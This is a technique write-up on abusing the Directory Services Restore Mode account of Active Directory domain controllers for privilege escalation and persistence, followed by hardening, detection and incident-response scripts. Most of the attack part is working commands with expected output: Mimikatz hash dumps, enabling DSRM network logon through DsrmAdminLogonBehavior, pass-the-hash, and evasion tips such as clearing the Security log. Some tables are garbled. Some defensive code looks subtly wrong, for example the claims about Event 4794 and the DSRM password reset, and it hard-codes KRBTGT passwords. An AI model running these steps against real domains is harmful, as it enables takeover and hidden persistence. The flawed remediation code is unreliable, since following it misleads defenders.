| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-006 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation / Persistence |
| Platforms | Windows AD (Domain Controller) |
| Severity | CRITICAL |
| Technique Status | ACTIVE (exploitable on all current Windows Server versions 2016-2025) |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 |
| Patched In | N/A (architectural feature; requires configuration hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Directory Services Restore Mode (DSRM) is a special boot mode on every Active Directory Domain Controller designed for emergency recovery when the Directory Services (AD DS) role is not running. During DC promotion, administrators create a local administrator account with a DSRM password that is cryptographically independent from domain credentials. Attackers who compromise a Domain Controller can extract the DSRM account hash from the local Security Account Manager (SAM) database, then weaponize it in two primary ways: (1) Pass-the-Hash attacks using the NTLM hash to gain remote administrative access to the DC without rebooting, or (2) Persistent backdoor creation by modifying the registry key DsrmAdminLogonBehavior to allow DSRM authentication over the network even when AD DS is running. Most organizations rarely rotate DSRM passwords and do not monitor for DSRM registry modifications, making this an effective persistence mechanism.
Attack Surface: Local SAM database on compromised DCs (via LSASS memory, SAM dump, or NTDS.dit access), plus the Windows Registry (HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior).
Business Impact: Critical domain controller compromise. Once an attacker has DSRM access, they maintain persistent administrator-level access to the DC even if domain passwords are reset, domain admin accounts are disabled, or regular administrative accounts are revoked. This enables data exfiltration, lateral movement to all domain resources, and ransomware deployment. DSRM persistence survives AD restoration from backups unless the backup was created after the compromise was discovered.
Technical Context: DSRM password extraction takes 2-5 minutes once attacker has local admin privileges on a DC (via Mimikatz lsadump::sam). Registry modification to enable network DSRM logon takes seconds. The attack leaves minimal audit trail if the attacker clears Event ID 4794 (registry change events). Success rate is extremely high because DSRM passwords are rarely changed and often reused across all DCs in a forest.
wevtutil cl Security| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS 5.25, 5.35 | Ensure Local Administrator Account is disabled / Ensure administrative credentials are not cached locally | | DISA STIG | V-93969, V-93971 | Domain Controller must have required security event logging / Prevent use of blank passwords | | NIST 800-53 | AC-2, AC-3, AU-2 | Account Management, Access Enforcement, Audit Events | | GDPR | Art. 32 | Security of Processing (failure to monitor privileged account access) | | DORA | Art. 9 | Protection and Prevention (critical infrastructure DC access control) | | NIS2 | Art. 21 | Cyber Risk Management Measures (Tier 0 asset protection) | | ISO 27001 | A.9.2.1, A.9.4.2 | User registration/de-registration, Privileged access management |
Required Privileges:
Required Access:
Supported Versions:
DsrmAdminLogonBehavior available on Server 2008 and laterTools Required:
net use – Remote access with DSRM credentials# Check current DsrmAdminLogonBehavior setting
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Values:
# 0 (default): DSRM logon only when DC starts in DSRM mode
# 1: DSRM logon allowed when AD DS service is stopped
# 2: DSRM logon allowed anytime (most dangerous)
What to Look For:
0 (safe, default)1 (increased risk)2 (critical – attacker can access DC via DSRM without rebooting)Version Note: All Windows Server 2016-2025 support this registry key. Server 2008 R2 and 2012/2012 R2 also support it.
# If DC is accessible via WinRM or SMB
# Check registry via impacket
python3 -c "import impacket; print('Check DC registry via SMB registry services')"
# Alternatively, check DSRM password age via LDAP (from domain admin account)
ldapsearch -x -h dc.domain.local -D "CN=Administrator,CN=Users,DC=domain,DC=local" -W -b "CN=NTDS Settings,CN=<DC>,CN=Servers,CN=<Site>,CN=Sites,CN=Configuration,DC=domain,DC=local"
Supported Versions: Windows Server 2016-2025
Objective: Extract the DSRM administrator hash from the local SAM database using Mimikatz.
Objective: Obtain admin-level command execution on the DC (through exploit, local privilege escalation, or compromise).
Command (PowerShell – check if already admin):
# Verify current privileges
$identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
Write-Host "Is Administrator: $isAdmin"
Expected Output:
Is Administrator: True
If not admin, escalate (Server 2016-2019):
# PrintSpooler privilege escalation (CVE-2020-1048)
# Or use other local privilege escalation vectors
Objective: Extract all local account hashes, including DSRM administrator.
Command (Mimikatz):
# Execute Mimikatz with admin privileges
# Method 1: Direct execution
C:\Tools\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
# Method 2: PowerShell invocation
Invoke-Mimikatz -Command 'privilege::debug' 'token::elevate' 'lsadump::sam'
Expected Output:
Mimikatz 2.2.0 (x64) - Copyright (C) 2005-2023 Gentilkiwi
[*] Privilege '20' OK
[*] Token::Elevate OK
[*] lsadump::sam
RID : 500 (Administrator)
NTLM : a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
What This Means:
Version Note: Works identically on Server 2016-2025. Windows Server 2025 may require additional privilege escalation if UAC is enforced.
OpSec & Evasion:
ntdsutil.exe (Microsoft-signed binary) to dump SAM offlineObjective: Extract additional credentials that may be cached on the DC.
Command:
# Extract LSA secrets (includes cached credentials, NTLM hashes)
Invoke-Mimikatz -Command 'privilege::debug' 'token::elevate' 'lsadump::secrets'
Expected Output:
Domain : DOMAIN\Administrator (NTLM: aabbccddeeff00112233445566778899)
DPAPI User Secrets { … }
Supported Versions: Windows Server 2016-2025
Objective: Modify the DsrmAdminLogonBehavior registry key to allow DSRM authentication via network (SMB/RDP) without rebooting the DC.
Objective: Check the current DsrmAdminLogonBehavior value.
Command (PowerShell):
# Check current value
$regPath = "HKLM:\System\CurrentControlSet\Control\Lsa"
$regValue = Get-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
if ($regValue) {
Write-Host "Current DsrmAdminLogonBehavior: $($regValue.DsrmAdminLogonBehavior)"
} else {
Write-Host "Registry key not set (default = 0, safest)"
}
Expected Output:
Current DsrmAdminLogonBehavior: 0
(or key does not exist)
Objective: Change DsrmAdminLogonBehavior to value 2, allowing DSRM logon anytime.
Command (PowerShell – Admin Required):
# Set DsrmAdminLogonBehavior to 2 (enable network logon)
$regPath = "HKLM:\System\CurrentControlSet\Control\Lsa"
New-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force
# Verify change
Get-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior"
Expected Output:
DsrmAdminLogonBehavior : 2
Command (Registry Editor – GUI):
regedit.exe as AdministratorHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LsaDsrmAdminLogonBehavior2OpSec & Evasion:
wevtutil cl Security (if admin)reg add command which may evade some EDR solutionsVersion-Specific Notes:
Objective: If DsrmAdminLogonBehavior = 1, stop AD DS to enable DSRM logon.
Command (PowerShell – Advanced Scenario):
# Stop Active Directory Domain Services
Stop-Service -Name NTDS -Force -Confirm:$false
# DSRM logon is now possible
# After testing, restart service
Start-Service -Name NTDS
Warning: This causes DC downtime; use only in lab scenarios or as last resort.
Supported Versions: Windows Server 2016-2025
Objective: Use the extracted DSRM hash to gain remote administrative access via Pass-the-Hash.
Objective: Create a new command process authenticated as the DSRM administrator.
Command (Mimikatz on Windows):
# Pass-the-Hash using DSRM NTLM hash
Invoke-Mimikatz -Command 'sekurlsa::pth /domain:<DC_COMPUTER_NAME> /user:Administrator /ntlm:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /run:powershell.exe'
Parameters Explained:
/domain = DC computer name (NOT domain name; for local auth use .)/user = Administrator (DSRM admin user)/ntlm = NTLM hash extracted in METHOD 1 Step 2/run = Command to execute in new process (PowerShell or CMD)Expected Output:
[*] sekurlsa::pth /domain:. /user:Administrator /ntlm:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /run:powershell.exe
[*] Use the "exit" command to quit this new process when you're finished
[*] Process : 'powershell.exe' (PID 4892) started
New PowerShell window opens with DSRM admin privileges
Objective: Confirm you have administrative access on the DC via the new process.
Command (in new PowerShell window):
# Verify identity
whoami
# Output: <DC_NAME>\Administrator or \.<DC_NAME>\Administrator
# List Administrator privileges
net localgroup Administrators
# Access DC resources
dir \\<DC_NAME>\c$
Get-ADUser -Filter * -Server <DC_NAME>
What This Means:
whoami shows local administrator contextc$ share confirms admin-level SMB accessObjective: Use PsExec for remote command execution with DSRM credentials.
Command (cmd.exe – requires Pass-the-Hash session from Step 1):
# Create IPC$ connection to DC using DSRM hash
net use \\<DC_NAME>\IPC$ /user:<DC_NAME>\Administrator "<NTLM_HASH>" 0
# Execute remote command
psexec \\<DC_NAME> -u Administrator -p <PASSWORD_or_HASH> cmd.exe
1. Set DsrmAdminLogonBehavior to 0 (DEFAULT – SAFE)
Why This Matters: This is the only safe value. It ensures DSRM credentials cannot be used for network logon even if the registry is modified by an attacker.
Manual Steps (PowerShell on DC):
# Set to safe value (0)
$regPath = "HKLM:\System\CurrentControlSet\Control\Lsa"
# Option 1: Set to 0 (most restrictive)
Set-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior" -Value 0 -Type DWORD -Force
# Option 2: Remove the key entirely (default behavior)
Remove-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
# Verify
Get-ItemProperty -Path $regPath -Name "DsrmAdminLogonBehavior"
Group Policy Configuration (Enterprise Deployment):
HKEY_LOCAL_MACHINESystem\CurrentControlSet\Control\LsaDsrmAdminLogonBehaviorREG_DWORD0Validation Command:
# Verify across all DCs
$dcs = (Get-ADForest).Domains | ForEach-Object { Get-ADDomainController -Filter * -Server $_ }
foreach ($dc in $dcs) {
$value = Invoke-Command -ComputerName $dc.Name -ScriptBlock {
(Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue).DsrmAdminLogonBehavior
}
Write-Host "$($dc.Name): DsrmAdminLogonBehavior = $value (should be 0 or empty)"
}
Expected Output:
DC1: DsrmAdminLogonBehavior = 0 (or empty)
DC2: DsrmAdminLogonBehavior = 0 (or empty)
2. Rotate DSRM Passwords Regularly (Every 60-90 Days)
Why This Matters: DSRM passwords are almost never changed. Regular rotation limits the window of exposure if a hash is compromised.
Manual Steps (PowerShell on DC – Server 2008 R2+):
# Reset DSRM password on a specific DC
# This must be run with elevation on each DC individually
$newPassword = "GenerateComplexPassword$(Get-Random -Minimum 100000 -Maximum 999999)@#"
$securePassword = ConvertTo-SecureString -String $newPassword -AsPlainText -Force
# Reset DSRM password using ntdsutil (safest method)
# Step 1: Backup current password in secure location
# Step 2: Use ntdsutil to change password
Set-ADAccountPassword -Identity "Administrator" -NewPassword $securePassword -Reset -Server localhost
Write-Host "DSRM password reset successfully. Store securely in password manager."
Using ntdsutil (Alternative):
# Run on DC with admin privileges
ntdsutil
set dsrm password
reset password on server <DC_NAME>
(enter new password)
q
q
Automation via Group Policy – Not Recommended:
3. Implement Unique DSRM Passwords Per Domain Controller
Why This Matters: Many organizations use the same DSRM password on all DCs for “convenience.” This means one DC compromise exposes all DCs.
Manual Steps:
# Script to generate unique passwords for each DC
$dcs = Get-ADDomainController -Filter *
$passwordMap = @{}
foreach ($dc in $dcs) {
$uniquePassword = "DSRM_$(Get-Random -Minimum 100000 -Maximum 999999)@#$($dc.Name.Substring(0,3))"
$passwordMap[$dc.Name] = $uniquePassword
# In production: Store securely in password vault (e.g., LastPass, 1Password, Vault)
Write-Host "DC: $($dc.Name) | Password stored in secure vault"
}
1. Monitor DsrmAdminLogonBehavior Registry Changes
Why This Matters: Detects attacker attempts to enable DSRM network logon.
Manual Monitoring via Event Viewer:
DsrmAdminLogonBehaviorPowerShell Monitoring Script:
# Check for suspicious registry changes on all DCs
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
$events = Get-WinEvent -ComputerName $dc.Name -FilterHashtable @{
LogName = 'Security'
ID = 4794
StartTime = (Get-Date).AddHours(-24)
} -ErrorAction SilentlyContinue
if ($events) {
Write-Host "[!] SUSPICIOUS: Registry changes detected on $($dc.Name)"
$events | Select-Object -Property TimeCreated, Message
}
}
2. Audit and Monitor DSRM Account Logons
Why This Matters: Detects actual usage of DSRM credentials.
Event IDs to Monitor:
PowerShell Detection Query:
# Find DSRM logons in past 24 hours
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4624
StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
$_.Message -match "Account Name:.*Administrator" -and
$_.Message -match "Logon Type.*9"
}
3. Disable Local Administrator Account on DCs (Advanced)
Why This Matters: Even if DSRM is compromised, attackers cannot logon with a disabled account.
Manual Steps (Server 2019+):
# CRITICAL: Only apply after DSRM password is backed up securely
# This is extreme hardening; may impact recovery procedures
# Disable local Administrator account on DC
Disable-LocalUser -Name "Administrator" -ErrorAction SilentlyContinue
# Verify
Get-LocalUser -Name "Administrator" | Select-Object Name, Enabled
Impact:
Registry Modifications:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior1 or 2 (should be 0 or absent)Process Execution:
Invoke-Mimikatz with parameters: lsadump::sam, lsadump::secrets, sekurlsa::pthmimikatz.exe running with admin privilegesntdsutil.exe executed with DSRM password reset commandsAuthentication Events:
Network Indicators:
net use to DC with local admin context)Disk Locations:
C:\Windows\System32\winevt\Logs\Security.evtx – All authentication/registry eventsC:\Windows\System32\config\SAM – Local account database (requires DC to be offline)C:\Windows\Temp\mimikatz_*.txt – Mimikatz output files (if saved)Memory:
Registry:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior – Attacker-modified keyHKLM\System\CurrentControlSet\Control\Lsa\Notification Packages – Attacker-injected DLL paths1. Immediate Containment (0-5 Minutes)
# Step 1: Isolate affected DC from network (if possible without causing total outage)
# Disable non-critical network adapters
Get-NetAdapter | Where-Object {$_.InterfaceAlias -notmatch "DC-Critical"} | Disable-NetAdapter -Confirm:$false
# Step 2: Reset DSRM password immediately
$newPassword = Read-Host -AsSecureString -Prompt "Enter new DSRM password"
Set-ADAccountPassword -Identity "Administrator" -NewPassword $newPassword -Reset -Server localhost
# Step 3: Reset DsrmAdminLogonBehavior to safe value
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 0 -Type DWORD -Force
# Step 4: Review recent activity on other DCs (may have spread)
$dcs = Get-ADDomainController -Filter * | Where-Object {$_.Name -ne $env:COMPUTERNAME}
foreach ($dc in $dcs) {
Write-Host "[*] Checking $($dc.Name) for DSRM activity..."
Get-WinEvent -ComputerName $dc.Name -FilterHashtable @{LogName='Security'; ID=4794; StartTime=(Get-Date).AddHours(-1)} -ErrorAction SilentlyContinue | Select-Object TimeCreated
}
2. Forensic Collection (5-30 Minutes)
# Export Security Event Log
wevtutil epl Security C:\Forensics\Security.evtx
# Export registry (including DsrmAdminLogonBehavior)
reg export "HKLM\System\CurrentControlSet\Control\Lsa" C:\Forensics\LSA_Registry.reg
# Collect process execution logs (Sysmon if installed)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Forensics\Sysmon.evtx
# Collect NTDS.dit for offline analysis (if DC still operational)
# WARNING: This requires shutting down AD DS temporarily
Stop-Service -Name NTDS
Copy-Item "C:\Windows\ntds\ntds.dit" "C:\Forensics\ntds.dit" -ErrorAction SilentlyContinue
Start-Service -Name NTDS
# Create memory dump (if available and approved)
procdump64.exe -ma lsass.exe C:\Forensics\lsass.dmp
3. Remediation (1-24 Hours)
# Step 1: Reset all sensitive account passwords
# - KRBTGT (twice, with 10-minute delay between)
# - All service accounts
# - All domain admin accounts
$krbtgtUser = Get-ADUser -Identity "krbtgt"
Set-ADAccountPassword -Identity $krbtgtUser -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!@#" -Force) -Reset
Start-Sleep -Seconds 600
Set-ADAccountPassword -Identity $krbtgtUser -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword456!@#" -Force) -Reset
# Step 2: Disable DSRM account on affected DC
Disable-ADAccount -Identity "Administrator" -Server localhost
# Step 3: Review and revoke any suspicious service accounts created
Get-ADServiceAccount -Filter * -Properties Created | Where-Object {$_.Created -gt (Get-Date).AddHours(-2)} | Remove-ADServiceAccount -Confirm:$false
# Step 4: Force DC replication to ensure all DCs have updated credentials
Get-ADDomainController | ForEach-Object {
repadmin /replicate $_.Name (Get-ADDomainController -Discover -ForceDiscover).Name (Get-ADDomain).DistinguishedName
}
# Step 5: Audit all local administrator accounts on DCs
Get-ADDomainController | ForEach-Object {
Invoke-Command -ComputerName $_.Name -ScriptBlock {
Get-LocalGroupMember -Group "Administrators" | Select-Object Name, ObjectClass
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] | Exploit unpatched DC vulnerability (e.g., CVE-2025-21196) |
| 2 | Privilege Escalation | [PE-EXPLOIT-002] ZeroLogon | Compromise DC via ZeroLogon (CVE-2020-1472) |
| 3 | Credential Access | [CA-DUMP-006] NTDS Extraction | Extract NTDS.dit containing all domain credentials |
| 4 | Current Step | [PE-VALID-006] | Extract and abuse DSRM credentials for persistence |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin | Create backdoor domain admin account |
| 6 | Lateral Movement | [LM-AUTH-002] Pass-the-Ticket | Use forged Kerberos tickets to access other resources |
| 7 | Impact | [CO-DATA-001] Data Exfiltration | Extract sensitive data from domain resources |
DsrmAdminLogonBehavior = 2 for persistent network accessIf DsrmAdminLogonBehavior is monitored, attacker can:
If multiple forests have forest trusts:
On hybrid AD/Azure scenarios: